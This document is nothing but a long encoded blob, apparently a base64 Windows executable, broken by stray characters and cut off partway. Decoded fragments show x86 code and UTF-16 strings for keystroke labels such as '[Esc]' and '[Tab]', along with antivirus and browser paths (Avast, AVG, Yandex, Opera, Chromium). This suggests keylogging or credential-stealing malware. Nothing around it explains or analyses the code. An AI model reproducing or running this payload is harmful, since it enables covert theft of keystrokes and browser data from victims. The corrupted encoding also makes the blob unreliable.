C9nQUFnOFFRaT%_wSVVWYm9IT1FBQUlQRUNGNkw1VjNEbXpmZGFWV0w3SUhzRUFRQUFGWlhNOEJvRGdRQUFGQ05qZkw3Ly85UlpvbUY4UHYvLytncS93QUFpM1VJYWdGcUNZMlY4UHYvLzFKVzZCYmsvLytMZlF4WDZIMEJBUUNEeENBRHdGQ05oZkQ3Ly85WFVPaHFBUUVBall4RjhQdi8vNFBFQkZIb2F2NEFBSTJWOFB2Ly8xTG9UZ0VCQUkyVjhQdi8vMUs1SWdBQUFGWm1pWXhGOFB2Ly8raGsvUC8vZzhRWVgxNkw1VjNEZkpNTFdYNVRzdkJZSjFKVmkreUI3QUFFQUFCV004Qm8vZ01BQUZDTmpRTDgvLzlSWm9tRkFQei8vK2lML2dBQWkzVUlnOFFNZzM0OEFHb0JENFNnQUFBQWFnNk5sUUQ4Ly85U1Z1aHE0Ly8vZzhRUVYyb0JqWlVBL1%_vL2FnOVM2TVlBQVFDRHhBU05oRVVBL1%_vL1VGYm9SZV%_vLzQyTkFQei8vMUhvcVFBQkFHb0JqYnhGQVB6Ly8yb0tWMWJvSitQLy8yb0FqWlVBL1%_vL1VvMUZDRkJXNlBUNS8vK0R4RFNGd0ErRWdnQUFBSTJOQVB6Ly8xSG9iUUFCQUFQQVVJdUdYQXNBQUkyVkFQei8vMUpRNkdmOUFBQ0R4QkJmdUFFQUFBQmVpK1ZkdzJvTmpZVUEvUC8vVUZib3l1TC8vNDJOQVB6Ly8xSG9MZ0FCQUxwY0FBQUFab21VUlFEOC8vK05oUUQ4Ly85UTZCVUFBUUNOakVVQS9QLy9VVmJvUi9mLy80UEVJSVhBRDRVbC8vLy9Yb3ZsWGNOcUFXb0xWMWJvZk9MLy8yZ2ZBZ0lBalkwQS9QLy9VWTFWQ0ZKVzZOYjMvLytEeENDRndBK0Vpd0FBQUl0RkNGQlc2QkhpQUFDRHhBaHFBWTJOQVB6Ly8yb01VZWl1L3dBQWc4UUVqWlJGQVB6Ly8xSlc2QzNpLy85b0h3SUNBSTJGQVB6Ly8xQ05UUWhSVnVpSDkvLy9pMVVJVWxib3plRUFBSVBFS0dvQmpZVUEvUC8vYWdwUTZHci9BQUNEeEFTTmpFVUEvUC8vVVZibzZlSC8vMmdmQWdJQWpaVUEvUC8vVW8xRkNGQlc2RV%_zLy8rRHhDQnFBSTJOQVB6Ly8xR05WUWhTVnVpZCtQLy9nOFFRaGNCME1JMkZBUHovLzFEb0d2OEFBSXVXWEFzQUFBUEFVSTJOQVB6Ly8xRlM2QlQ4QUFDRHhCQmZ1QUVBQUFCZWkrVmR3NDJHTUFvQUFGQlc2Tm42Ly8rRHhBaGZ1QUVBQUFCZWkrVmR3L3V6NGdPRmdIMW45NDVmVll2c1ZvdDFDSU8rckFzQUFBQjBaWU8rc0FzQUFBQjBYRmRXNk1BU0FBQ0xmUXhxQUdvZ1YxYUpSanpvUDVNQUFHb0FhZ2RYVnVnMGt3QUFnOFFraGNCMUNsZFc2SGI2Ly8rRHhBaHFBR29JVjFib0dKTUFBR29BYWhaWFZ1Z05rd0FBZzhRZ2lZWXNDZ0FBWDdnQkFBQUFYbDNETThCZVhjUGRoRnpiOThSVmkreUI3QkFDQUFCV004Qm9CZ0lBQUZDTmpmTDkvLzlSeDBYNEFBQUFBTWRGL0FBQUFBQm1pWVh3L2YvLzZLMzdBQUNMZFFocUVJMlY4UDMvLzFKVzZGdmovLzh6d0ZDTmpmRDkvLzlSalpiMEJ3QUFVbFptaVlVQS92Ly82SzNrLy85cUFZMkY4UDMvLzFDTmp2UUlBQUJSVnVpWDVQLy9hZ1NObHR3SEFBQlNpeGFOUmZoUWpZN2dCd0FBVVZKV3gwWDRBSUMxQWVpekV3QUFnOFJRaGNCMUJWNkw1VjNEYUFBZ0FBQlc2Sno4QUFBenlZUEVDSVhBRDVYQmlZYnNCd0FBWG92QmkrVmR3eXo3TDU5WVZZdnNnZXhVQWdBQVZqUEFhQVlDQUFCUWpZMnUvZi8vVVdhSmhhejkvLy9vNi9vQUFPZ1ZMZ0VBVU9od0FBRUFpM1VJZzhRUWlZYjBQZ0FBNkRvU0FRQ0xRQU9Gd0ErRWp3SUFBRDJJaUlpSUQ0U0VBZ0FBVjJvL1ZvbUczQWNBQUkyK3NBd0FBT2owbEFBQWk1YkFEQUFBVUdvQWFnQlNWK2lpbFFBQWFrQldpWWJNREFBQTZOU1VBQUJRaTRiQURBQUFhZ0JxQUZCWDZJS1ZBQUJxUkZhSmh0QU1BQURvdEpRQUFJdU93QXdBQUlQRVFGQnFBR29BVVZmb1g1VUFBSVBFRklPK3pBd0FBQUNKaHRnTUFBQVBoQU1DQUFDRHZ0QU1BQUFBRDRUMkFRQUFoY0FQaE80QkFBQlRhZ3lOVmR4U2pZWjhUQUFBVU1kRjNGc0FSUURIUmVCekFHTUF4MFhrWFFBQUFPaDgrUUFBYWd5TlRmUlJqWmFVVEFBQVVzZEY5RnNBUVFESFJmaHNBSFFBeDBYOFhRQUFBT2hWK1FBQWFneU5SZWhRalk2c1RBQUFVY2RGNkZzQVZBREhSZXhoQUdJQXgwWHdYUUFBQU9ndStRQUFhaENOVGJ4UmpaYkVUQUFBVXNkRnZGc0FSUURIUmNCdUFIUUF4MFhFWlFCeUFNZEZ5RjBBQUFEb0FQa0FBR29RalZYTVVvMkczRXdBQUZESFJjeGJBRHdBeDBYUUxRQkVBTWRGMUdVQWJBREhSZGhkQUFBQTZOTDRBQUJxRUkyTnJQMy8vMUZXNkFQaC8vK0R4RWhxQVkyRnJQMy8vMUNObm54QUFBQXowbE5XWm9tVnZQMy8vK2hSNHYvL1UraUwrd0FBZzhRVWcvZ01ENExZQUFBQWFqdFc2RmVUQUFDTGpzQU1BQUJRYWdCcUFGRlg2QVdVQUFCcVBGYUwyT2c3a3dBQWk1YkFEQUFBVUdvQWFnQlNWK2pwa3dBQWFqMVdpVVVJNkI2VEFBQ0R4RUJRaTRiQURBQUFhZ0JxQUZCWDZNbVRBQUJxUGxhSlJiVG8vcElBQUl1T3dBd0FBRkJxQUdvQVVWZm9ySk1BQUdwQlZvbEZ1T2poa2dBQWk1YkFEQUFBVUdvQWFnQlNWK2lQa3dBQWc4Uk1ha0pXNk1TU0FBQlFpNGJBREFBQWFnQnFBRkJYNkhLVEFBQ0R4QnlGMjNRa2czMElBSFFlZzMyMEFIUVlnMzI0QUhRUzZKZ1BBUUNKY0FQSGh2Uk1BQUFCQUFBQVcxOWVpK1ZkdzFXTDdJUHNDRk5XaTNVSWk1N2NCd0FBWm9NN0FZMUYvSWxGK0ZmSFJmd0FBQUFBdUFBQWdBQjBFWTJiQUFBQUFJWEFkQWRJWm9NN0FYWDFqVU1DdVFRQUFBQlFab2tMNkZUNkFBQ0wrSVBFQklIL0FBUUFBQStIMWdBQUFJUC9BWFlKZys4Q2pVUjdBdXNEaTBYNGkwME1nL2tDZFdlTEFEdUc5RDRBQUhVN2k0N1VQZ0FBQThsUmpaYjhQd0FBVW8xRWV3SlE2QmIzQUFDTGp0UStBQUNEeEF3RHp6UFNab2xVU3dKZnVnRUFBQUJlWm9rVFc0dmxYY080QVFBQUFHb0VWbWFKQStnMS8vLy9nOFFJWDdvQkFBQUFYbWFKRTF1TDVWM0RnL2tFZFZHTGh2ZytBQUNORERpTkZBQlNqWVo4U0FBQWlVMElVSTFNZXdKUjZLMzJBQUNMbHRRK0FBQ0xUUWdEMGxLTmh2dy9BQUJRalZSTEFsTG9rUFlBQUl1RzFENEFBQU5GQ0lQRUdEUEpab2xNUXdKZnVnRUFBQUJlWm9rVFc0dmxYY044MVczcEdVeGJaZzEyRWVyVGJWV0w3SVBzREZOV1YwU1FrSkJNYkdHZFlxNExYdi9SejhteEZGemh4SnlVd0RTOVUxT0w5QkplazVVZHJEUnFzd1dubkNBWG5zZDNWQVFNTEFDb01HZDNhbyt5T0JVY05LSkpzNCtDczJDdEpXd0ZRRnRBWHk3L0toMzhvb3o5TDRiQzhZejVoRHJlU0VhcCtmWUVsQituSHg5UlVmNHRPQ3FGTzRrL0JMR0ZVbX%_4bEE3TE5RcEU1WjlBY0xKaFhaR1RocllPY0tSUmRyejFpeWpyYjBmN29ZbDZUL01VajBIMjBtZmZ0c0JxblVhbUREdmg5aWxMaEFNRE5zYUdGS3VzRGNzdStxT2d6Q2gwaFNpL2dndGc0TFcyWFZDU042cmk5MlVCWTh1eGxUNjdHZFZOR2MycVF4RDljaUc5TU9DdFd1RHRpMlFBSTJOY2VjZU1DNXJSMENKdjlCckpadm5hakd0TFd2ZUFmV3dJcUJXc0duU3R0SDI5T0tQaUorblBkd3FLVGNGNTl2VUZjTVJybEM5ZkxTVW9FT1NVM0VCKzFJKytQTUpaRithMX%_0QWpldT%_zSmFoNkRNRTBGK3Zjd1dHOGhCbE5tK0RLMFhZVVVBYUcrOE9Ra0pDUVgxNWJpK1Zkdzh6TVZZdnNpMFVNaTBBSVZsY3ovNF%_0Q0hWZWkzVUlhaENOanR4TUFBQlJqWmI4UHdBQVV1akc5QUFBeDRiVVBnQUFCd0FBQUl1RzFENEFBSVBFREdvRWpaYjBQZ0FBVW8yTVJ2dy9BQUJSdndFQUFBRG9tUFFBQUlPRzFENEFBQUpxQWxibzJmei8vNFBFRkl2SFgxNWR3NF%_0RFhVVmkzVUlhaENOaHNSTUFBQlFqWTc4UHdBQVVldWJnL2dKZFNTTGRRaHFESTJXckV3QUFGS05odncvQUFCUTZFbjBBQURIaHRRK0FBQUZBQUFBNjRHRCtCdDFKNHQxQ0dvTWpZNThUQUFBVVkyVy9EOEFBRkxvSVBRQUFNZUcxRDRBQUFVQUFBRHBWZi8vLzRQNEVuVW5pM1VJYWd5TmhwUk1BQUJRalk3OFB3QUFVZWowOHdBQXg0YlVQZ0FBQlFBQUFPa3%_vLy8vZzhDUWcvZ1hENGRULy8vL1g3Z0JBQUFBWGwzRFZZdnNpMFVNVTR0WUNGYUxkUWhYRDc5NERvdUcwQXdBQUdvVWdlZi9BQUFBLzlDTGp0QU1BQUFrQWZiWUdzQnFFSWlHRUQ4QUFQL1J1Z0NBQUFCbUk4Sm05OWdhd0lpR0REOEFBSXVHMEF3QUFHb1IvOUM1QUlBQUFHYUZ3WFFUZy90QmNnV0QrMX%_yVE1hR0RUOEFBUC9yQjhhR0RUOEFBQUNMbHRBTUFBQnFFdi9TaTFVUXVRQ0FBQUJtSThHTGpzd01BQUJxQUdiMzJHb1FHc0JTaUlZT1B3QUFqWWI4UGdBQVVGZFQvOUdKaHRRK0FBQmZYbHRkdzVKNU1IUmpWWXZzZyt3UWczMFVBRk9MWFJCV2kzVU1WM1FKaTBNSWlZYlFCd0FBamI3OFB3QUFha0JYNkJUekFBQlhVMWJvN1%_zLy80UEVGSVhBRDRVbkFRQUFWMU5XNlBuKy8vK0xodFErQUFDRHhBeUZ3QStPRGdFQUFHb0VqWTcwUGdBQVVZMlVSdncvQUFCUzZLTHlBQUNMaHR3TUFBQ0RodFErQUFBQ2c4UU1hQVFCQUFDTm5ueEVBQUJULzlDTGp0Z01BQUJRLzlHTCtJUC9RSFlPTTlKbWlaYjhSQUFBalhwQTZ6U0YvM1V3YWhDTlZmQlNVOGRGOEZVQWJnREhSZlJyQUc0QXgwWDRid0IzQU1kRi9HNEFBQURvT3ZJQUFJUEVETDhIQUFBQWpRUS9VSTJPaEVnQUFGRlQ2REgxQUFDRHhBeUZ3SFZsalFRL1VJMkdoRWdBQURQSlUxREhSZlFOQUFvQXgwWDREUUFLQUdhSlRmem85ZkVBQUdvSWpWWDBVbzJHZkVnQUFGRG80L0VBQUdvRWpVMzBVWTJVZm9SSUFBQlM2TkR4QUFCcUJJUEhCbGFKdnZnK0FBRG9EL3IvLzRQRUxGOWVXNHZsWGNOcUFsYm8vZm4vLzRQRUNGOWVXNHZsWGNPVWN5MVZpK3hXaTNVTWc3N0lEQUFBQlhVUWkwVVFVRmJvMXBULy80UEVDRjVkdzR0VkVJdENCSXROQ0QwRUFRQUFkQWM5QUFFQUFIVVdoY2wwRW90RkZGQlNWbEhvU2Y3Ly80UEVFRjVkd3owQkFnQUFkQWM5QkFJQUFIVVRoY2wwRDR0RkZGQlNWbEhvOWNILy80UEVFRjVkdys4TC9Bd3FFL3NMZFpoNm44TFZubFdMN0l0RkNJRjRHQUFCQUFCMVVvdElCSXVSMEFjQUFEdFFISFJFaTFBVWlaSFlQZ0FBaTBnRWkxQVlpWkhjUGdBQWkwZ0VpMUFnaVpIa1BnQUFpMGdFaTFBY2laSGdQZ0FBaTBBRWFnQ05pTmcrQUFCUlVHb0E2TEw5Ly8rRHhCQmR3K3Y0SVNrMG1ReEVscUtxZlBWVmkreUQ3QnhXaTNVSVYxYm9YNHovLzFib0Nha0FBRmJvSTNqLy96UEFhT0hxaUFaUVVJbEY2SWxGN0lsRjhJbEY5SWxGK0lsRi9JdUd2QXNBQUZDTmpyQU1BQUJSeDBYa0FBQUFBTWRGNkJNQkFBRG81NHNBQUl2NGc4UWdoZjkwR1dway85ZU5WZVJTVnVpUWsvLy9WdWhxaXYvL2c4UU02K2RmWG92bFhjT3lMd28yYjd4WHJpVjV2OXF4NUpWVmkreUI3QWdDQUFCV1Z6UEFhQVlDQUFCUWpZMzYvZi8vVVdhSmhmajkvLy9vZXZBQUFJUEVET2pkQndFQWkvQ0xmZ09GL3crRTNBQUFBSUgvaUlpSWlBK0UwQUFBQUlPL0NDQUFBQUFQaE00QUFBRG90K1FBQUR1SFFDQUFBQStFdlFBQUFJdFdBNHQxQ0dvUWpZWDQvZi8vVUZhSmx0d0hBQURvNE5mLy8yb0JqWlg0L2YvL1VvMitmRUFBQURQSlYxWm1pWTBJL3YvLzZESFovLzlYNkd2eUFBQ0R4Q0NEK0F4eWFtcEVWc2VHOUV3QUFBRUFBQUNOdnJBTUFBRG9LNG9BQUZDTGhzQU1BQUJxQUdvQVVGZm8yWW9BQUlQRUhJbUcyQXdBQUlYQWRET0xqcndMQUFCb1R3aDF1V29BYWdCUlYraTJpZ0FBaS9pRHhCU0YvM1FVYWdCcUFGYm8yQ01CQUlQQUFsQnFBR29BLzlkZnVBRUFBQUJlaStWZHcxOHp3RjZMNVYzRFVaNXBhUGlOVll2c2dld0lBZ0FBVm90MUNGZUx2dHdIQUFDRi93K0VLUUVBQUlPL3FLa0FBQUFQaEJ3QkFBQ0xoaXdLQUFCVFVGYm8rZE1BQURQSmFBWUNBQUJSalpYNi9mLy9Vc2VHTEFvQUFBQUFBQUJtaVkzNC9mLy82QlR2QUFDTGhsd0xBQUJxQVZDTlRRaFJWdWpoNnYvL2FnQnFBNDJWK1%_zLy8xSlc2UERULy8rTmhmajkvLzlRNkZUeEFBQzVYQUFBQUdvQWpaZndyQUFBWm9tTVJmajkvLzlTallYNC9mLy9VT2lpOGdBQWpZMzQvZi8vZzhSRVVlZ2o4UUFBdWx3QUFBQm1pWlJGK1%_zLy8yb0FqWWV3cWdBQVVJMk4rUDMvLzFIb2NmSUFBSTJmTUtvQUFHZ0VBUUFBVStndzdnQUFhZ0JxQTFOVzZIWFQvLytObGZqOS8vOVNqWi93cWdBQTZOUHdBQUNOUkFBQ1VJMk4rUDMvLzFGVDZOSHRBQUJUNkx2d0FBQ05WQUFDVW8yR01Bb0FBRk5RNkxudEFBQ0R4RWpIaDZpcEFBQUFBQUFBVzR1R1hBc0FBSVhBZEVXRHZ2UUpBQUFBZER4bWd6Z0FkRFpxQUZDTlRRaFJWdWpsNmYvL2c4UVFoY0IxSW91R1dBc0FBSV%_0Q0hNWGpaWXdDZ0FBVWtCV2lZWllDd0FBNkQvcy8vK0R4QWlEdml3S0FBQUFkUnBxQUdvV2pZWXdDZ0FBVUZibzBvUUFBSVBFRUltR0xBb0FBRjllaStWZHd6S0ZkVldMN0lIc0NBSUFBRlpYaTMwSWk3ZmNCd0FBaGZaMFZJTytSQ0FBQUFCMFN6UEFhQVlDQUFCUWpZMzYvZi8vVVdhSmhmajkvLy9vZE8wQUFJMlYrUDMvLzFKWHg0WkVJQUFBQUFBQUFPaU5KQUFBZzhRVWhjQjBFbW9DallYNC9mLy9VRmZveHlZQUFJUEVERjllaStWZHc5cEF2ZVo4dTJuU0xZYXJYOHdYVll2c1Y0dDlDSXVIM0FjQUFJTzRPQ0FBQUFCMF%_xWm9kSE1BQUZmSGdEZ2dBQUFBQUFBQTZEVHVBQUNMOElQRUNJWDJkQjlxRmxaWDZQSlFBQUJvSkJBQUFGWlg2T1pRQUFCV1YrZy83QUFBZzhRZ1hsOWR3L2JHLzRiUUJSempWWXZzVm90MUNGYkhodFFIQUFBQkFBQUE2Tm53Ly8rRHhBU0podGdIQUFDRndIUVBWdWdXYmYvL1Z1aUF2Z0FBZzhRSWFBQkFBQUJXNk1MdEFBQ0R4QWlKaGdnS0FBQmVYY1BXMUVyTkFkbFZpK3hUaTEwSWk0UGNCd0FBVmdVQUlBQUFWelBKaVVVSU0vYU51SGl4WHdEckQrc0xqYVFrQUFBQUFJMWtKQUF6eVkyRUJuREZYd0JvQUtBQUFGQ0pUL3lKVC9pSk4rams2d0FBaTBVSWdjWUFvQUFBZzhRSWc4Y1FnZjRBZ0F3QWNzMHo5bE9KY0hpSmNIem9QM1lBQUZQb0tXTUFBRlBvUXpVQUFHb1dVK2dMVkFBQVUrZzFaZ0FBVStqdlF3QUFVK2laYkFBQVUraXpBUUFBVStpdEFRQUFVK2luQVFBQVUraFJIUUFBVStpYkFRQUFVK2lWQVFBQVUrZ1BId0FBZzhROE9iTlVDd0FBZEFnNXN3UUtBQUIwRURtelVBc0FBSFFjT2JNQUNnQUFkUlNMbTl3SEFBQTczblFLeDRNMElBQUFBUUFBQUY5ZVcxM0Q0MEFwVll2c2kwME1VMVpYaTMwSWk1L2NCd0FBalVIL2cvZ1RkM3VMaHd3S0FBQ0Z3SFJ4QThtTnRNdHcwVjhBaT%_0RWpSUUJnZm9Bb0FBQWQxcUxWZ2hRaTRjSUNnQUFVQVBSallRYWNPVmZBRkRvcStvQUFJdVBEQW9BQUFGT0JEUEFnOFFNZzMwTUU4Y0dBUUFBQUltSERBb0FBSFFRWDRtRGVDQUFBRjY0QVFBQUFGdGR3MStKZzN3Z0FBQmV1QUVBQUFCYlhjTmZYalBBVzEzREh4MnZ4MVdMN0ZhTGRRaUR2b0FMQUFBQWRVU0xodHdIQUFDRHVGQWdBQUFBZEN5RHZpUUtBQUFBeDRhQUN3QUFBUUFBQUhVUWpZNHdDZ0FBVVZib1FlNy8vNFBFQ0Zib0dQNy8vNFBFQklPK2dBc0FBQUIwVFlPKzNBY0FBQUIwQ1Zib1RmMy8vNFBFQkZib3hQei8vNFBFQklOOURBQjFOVmJvOWZyLy80UEVCSU8rTEFvQUFBQjFHbW9BYWhhTmxqQUtBQUJTVnVoWWdRQUFnOFFRaVlZc0NnQUFWdWo1Y2YvL2c4UUVYbDNEeGVwVHVBRUFBQURELy9NY3d0NFN6Y1BnUFZXTDdJUHNWRll6d0dvK1VJMU5ybEZtaVVXczZBZnFBQUNMVlF5TGRRaHFBVktOUmF4UVZ1ajB6di8vaXhhTlRmeFJhaWhTVnVqMXl3QUFnOFFzaGNCNFM0MUY4RkNOVGF4UmFnQlc2TTdSQUFDRHhCQ0Z3SFFuaTBYOGFnQnFBR29BalZYc1Vtb0FVRmJIUmV3QkFBQUF4MFg0QWdBQUFPZ3p6QUFBZzhRY2kwMzhVVmJvVnM0QUFJUEVDRjZMNVYzRC9tRzE4bjQrUkE0T0t2SDR3dlJWaSt5RDdBeFdpM1VJaXc2TlJmeFFhZ2hSVnNkRi9BQUFBQURIUmZnRUFBQUE2R25MQUFDRHhCQ0Z3SGtITThCZWkrVmR3NHROL0ZlTlZmaFNhZ1NOUmZSUWFoUlJWdWlFeXdBQWkxWDhVbGFMK09qb3pRQUFnOFFnTThDRi93K1l3RjllU0NORjlJdmxYY01iSEtxQVZZdnNnZXlBQUFBQVU0dGRERmN6L3pQQU85OFBoTVVBQUFCV2FqNk5UWUpYVVdhSlJZRG81ZWdBQUl0MUNHb0Jha09OVllCU1Z1alV6Zi8vYUFRQkFBQ05SWUJRalUzNFVlaFM5d0FBalVYWVVHZ1BBQUlBalUwTVVZMVYrRmJIUmRnWUFBQUFpWDNjaVZYZ3gwWGtRQUFBQUlsOTZJbDk3T2dDeUFBQWFBUUJBQUNOVmZCVFV1Z1Q5d0FBaTBVTWc4UkVWNDFWd0ZLSlJjU0xSUkJvQVFBZkFGQ05UZkJXeDBYQUdBQUFBSWxOeU1kRnpJQUFBQUNKZmRDSmZkVG8vTWNBQUl0TkRGRldpL2pvQU0wQUFJUEVIRFBBZ2Y4QUFBQkFENVRBWGw5YmkrVmR3K21ic2hwSFFNY0tLN2M3Vll2c2dld01BZ0FBVmpQQWFBWUNBQUJRalkzMi9mLy9VY2RGL0FBQUFBQm1pWVgwL2YvLzZQVG5BQUNMZFFocUVJMlY5UDMvLzFKVzZHTE8vLytOUmZ4UWpZMz%_vZi8vVVZib3dmNy8vNFBFSklYQWkwWDhkQmlGd0hRS1VGYm9mTXdBQUlQRUNMZ0JBQUFBWG92bFhjT0Z3SFFRZzMwTUFIVUtVRmJvWHN3QUFJUEVDRFBBWG92bFhjTnBIZmxyVll2c2crd0lpMFVjVTFaWHgwWDhBQUFBQUw1QUFBQUFnL2dDZEF5RCtBWjBCNHRORklzUjZ3dUxUUlNMRVlIQ0FBQUlBSWxWK0lQNEJIVUNpL0NMZlJDTFhRaHFBR2dBQUFBSVZvMUYrRkJxQUdnZkFBOEFWMVBvSXNjQUFJUEVJSVhBZVFsZlhqUEFXNHZsWGNPTFZSaUxSUXhXYWdCcUFZMU4rRkdMRDJvQWFnQnFBRkpRVVZQb1FzY0FBSVBFTERQU2hjQVBtY0pmWGx1THdvdmxYY016OWd1Zm5lam9NYWkrdlBMMlpWSlZpK3hUVmxlTGZSQnFSRmZvZitZQUFJdDFGR29RVnVoMDVnQUFpMTBZYWhoVDZHbm1BQUNMUlF4cUFGWlhhZ0JxQUdnTUFBQUlhZ0JxQUdvQWFnQlF4d2RFQUFBQWkzMElhZ0JYNkovTkFBQ0R4RXlGd0hVSFgxNHp3RnRkdzRzT2FnQnFHRk5xQUZGWDZLSEZBQUNEeEJpRndIamlpMVVjaTBNRWl3NXFBR29FVW9QQUNGQlJWK2lDeXdBQWc4UVlNOUtGd0ErWndsOWVXNHZDWGNQTVZZdnNnK3dnaTBVUVU0dGRDRlpYaTMwTWpVMzRVWTFWNEZJejltb2FWNGwxL0ZPSmRmaUpSZnpIUmVBWUFBQUFpWFhraVhYc2lYWG9pWFh3aVhYMDZIekRBQUNEeEJTRndIZ2Rpd2RXVUZQb0M4UUFBSVBFRElYQWVSV0xEMUZUNkp2S0FBQ0R4QWhmWGpQQVc0dmxYY05mWHJnQkFBQUFXNHZsWGNQSjNLeFZpK3lEN0FpTFJRd3p5WWxOL0lQNC8zVU1pVTM0eDBYOEFBQUFnT3NSeDBYOC8vLy8vNGxGK0kya0pBQUFBQUNOUmZoUVVZdE5DRkhvUXNRQUFEUFNnOFFNUGNBQUFBQVBsY0tOUXY4bHdBQUFBSXZsWGNQUW5icElvbldIRzdSVmkreUxSUWlMaUx3TEFBQm9Kaz%_wcG1vQWFnQlJnOEFnVU9oUmdBQUFnOFFVaGNCMEIyZ0RnQUFBLzlBendGM0QzckMyNUk0akhMZEdwc2hLL1c3eVZZdnNnZXdrQWdBQVZ6UEFhQVlDQUFCUWpZM2UvZi8vVVdhSmhkejkvLy9vKytRQUFJdDlDR3B4VitpUXRmLy9VR29BNk5qWkFBQ0xRQ2lObGR6OS8vOVNVRmZvVjVyLy80UEVLR2FEdmR6OS8vOEFkUWN6d0YrTDVWM0RnMzhrQVhWSWFoU05WZWhTallYYy9mLy9VTWRGNkZNQWVRREhSZXh6QUZjQXgwWHdUd0JYQU1kRjlEWUFOQURIUmZoY0FBQUE2UGptQUFDTmpFWEsvZi8vZzhRRVVlajQ0d0FBZzhRTWpaWGMvZi8vVTFMSFJmd0FBQUFBNk5IbUFBQ0xYUkNEeEFTTmhFWGMvZi8vaVVYa1Z2OUYvSXJEZ1BzRGNnV0EreWwyREdvcGFnUG9TTDMvLzRQRUNJdE41QSsyMEZGU1YrZ243d0FBaTNVTWc4UU1oZlowSVkyRjNQMy8vMURvZ2VZQUFJMU1BQUpSalpYYy9mLy9VbGJvZitNQUFJUEVFSVhiZFcwNVhSUjBkRk5xQW8yRjNQMy8vMUJYNlBONkFBQ0w4SVBFRUlYMmREbUxSUlNOU0JSUmpaQ01BZ0FBVW8ySUlBSUFBRkdOa0VnQ0FBQlNnOEFnVUZmbzFQei8vNFBFR0lYQWRSbFdWK2dHNHdBQWc4UUlNL2FCZmZ3QUJBQUFENEpFLy8vL2k4WmVXMStMNVYzRFhsdTRBUUFBQUYrTDVWM0RYbHN6d0YrTDVWM0RqRHJ0RDZ2Q1ZZdnNnZXg0QkFBQVZsZUxmUWlMdDR3TEFBQ0Y5blVJWHpQQVhvdmxYY05vdEJnQUFGYm85ZUlBQUdvV1YraE5yQUFBZzhRUWlZYXdHQUFBaGNCMDJGTXp5V29xVVkyVm52di8vMUxIaFlqNy8vOWNBRlVBeDRXTSsvLy9jd0JsQU1lRmtQdi8vM0lBSUFESGhaVDcvLzlFQUdFQXg0V1krLy8vZEFCaEFHYUpqWno3Ly8vbzVlSUFBSTJGaVB2Ly8xRG9TZVVBQUkxTUFBSlJqWldJKy8vL1VvMUdCRkRvUk9JQUFHb0FhZ09ObnFBVUFBQlRWK2l6eC8vL2FnQ05ocWdXQUFCcUFWQlg2S0xILy85VDZBemxBQUNKaHBnVUFBQ05ocWdXQUFDRHhFQlE2UGZrQUFDSmhwd1VBQUNMaHBnVUFBQ0R4QVJiaGNCMEhtYUR2RWFlRkFBQVhIUVR1VndBQUFCbWlZeEdvQlFBQV%_rR21CUUFBSXVHbkJRQUFJWEFkQjVtZzd4R3BoWUFBRngwRTdwY0FBQUFab21VUnFnV0FBRC9ocHdVQUFDTmhlRCsvLzlReDRYZy92Ly9RUUJXQU1lRjVQNy8vMGNBWEFESGhlaisvLzlDQUhJQXg0WHMvdi8vYndCM0FNZUY4UDcvLzNNQVpRREhoZlQrLy85eUFBQUE2RlhrQUFDTlRBQUNVWTJWNF%_3Ly8xS05odGdFQUFCUTZFM2hBQUNOVGVoUngwWG9Td0JwQU1kRjdHNEFlZ0RIUmZCaEFBQUE2Qi9rQUFDTlZBQUNVbzFGNkZDTmpoZ0ZBQUJSNkJyaEFBQ05oUkQvLy85UXg0VVEvLy8vVlFCU0FNZUZGUC8vLzBJQWNnREhoUmovLy85dkFIY0F4NFVjLy8vL2N3QmxBTWVGSV%_vLy8zSUFBQURvek9NQUFJMU1BQUpSalpVUS8vLy9VbzJHV0FVQUFGRG94T0FBQUkyRmRQei8velBTVU1lRmRQei8vMEVBVmdESGhYajgvLzlCQUZNQXg0VjgvUC8vVkFBZ0FNZUZnUHovLzFNQWJ3REhoWVQ4Ly85bUFIUUF4NFdJL1%_vL2R3QmhBTWVGalB6Ly8zSUFaUURIaFpEOC8vOWNBRUlBeDRXVS9QLy9jZ0J2QU1lRm1Qei8vM2NBY3dESGhaejgvLzlsQUhJQVpvbVZvUHovLytneDR3QUFqVXdBQWxHTmxYVDgvLzlTallhWUJRQUFVT2dwNEFBQWc4UkFqWT%_0Ly8vL004QlJ4NFU0Ly8vL1V3QmhBTWVGUF%_vLy8yd0FZUURIaFVELy8vOXRBRmNBeDRWRS8vLy9aUUJpQUdhSmhVai8vLy9vMmVJQUFJMVVBQUpTallVNC8vLy9VSTJPMkFVQUFGSG8wZDhBQUkyTnFQMy8velBBVWNlRnFQMy8vME1BUXdESGhhejkvLzlzQUdVQXg0V3cvZi8vWVFCdUFNZUZ0UDMvLzJVQWNnREhoYmo5Ly84Z0FFSUF4NFc4L2YvL2NnQnZBTWVGd1%_zLy8zY0Fjd0RIaGNUOS8vOWxBSElBWm9tRnlQMy8vK2hjNGdBQWpWUUFBbEtOaGFqOS8vOVFqWTRZQmdBQVVlaFUzd0FBalpVUS92Ly9NOGxTeDRVUS92Ly9Ud0J3QU1lRkZQNy8vMlVBY2dESGhSaisvLzloQUNBQXg0VWMvdi8vVXdCdkFNZUZJUDcvLzJZQWRBREhoU1QrLy85M0FHRUF4NFVvL3YvL2NnQmxBR2FKalN6Ky8vL282ZUVBQUkxRUFBSlFqWTBRL3YvL1VZMldXQVlBQUZMbzRkNEFBSTJGV1%_zLy96UFNVTWVGV1%_zLy8xa0FZUURIaFZ6OS8vOXVBR1FBeDRWZy9mLy9aUUI0QU1lRlpQMy8vMXdBV1FESGhXajkvLzloQUc0QXg0VnMvZi8vWkFCbEFNZUZjUDMvLzNnQVFnREhoWFQ5Ly85eUFHOEF4NFY0L2YvL2R3QnpBTWVGZl%_zLy8yVUFjZ0JtaVpXQS9mLy82RmpoQUFDTlRBQUNVWTJWV1%_zLy8xS05ocGdHQUFCUTZGRGVBQUNOaFhELy8vK0R4RUJReDRWdy8vLy9Vd0JzQU1lRmRQLy8vMmtBYlFESGhYai8vLzlxQUdVQXg0VjgvLy8vZEFBQUFPZ0o0UUFBalV3QUFsR05sWEQvLy85U2pZYllCZ0FBVU9nQjNnQUF4NFhNL2YvL013QTJBTWVGMF%_zLy96QUFRd0NOaGN6OS8vOHowbERIaGRUOS8vOW9BSElBeDRYWS9mLy9id0J0QU1lRjNQMy8vMlVBWEFESGhlRDkvLzlEQUdnQXg0WGsvZi8vY2dCdkFNZUY2UDMvLzIwQVpRQm1pWlhzL2YvLzZJemdBQUNOVEFBQ1VZMlZ6UDMvLzFLTmhoZ0hBQUJRNklUZEFBQ05oYXorLy85UXg0V3Mvdi8vUXdCdkFNZUZzUDcvLzIwQWJ3REhoYl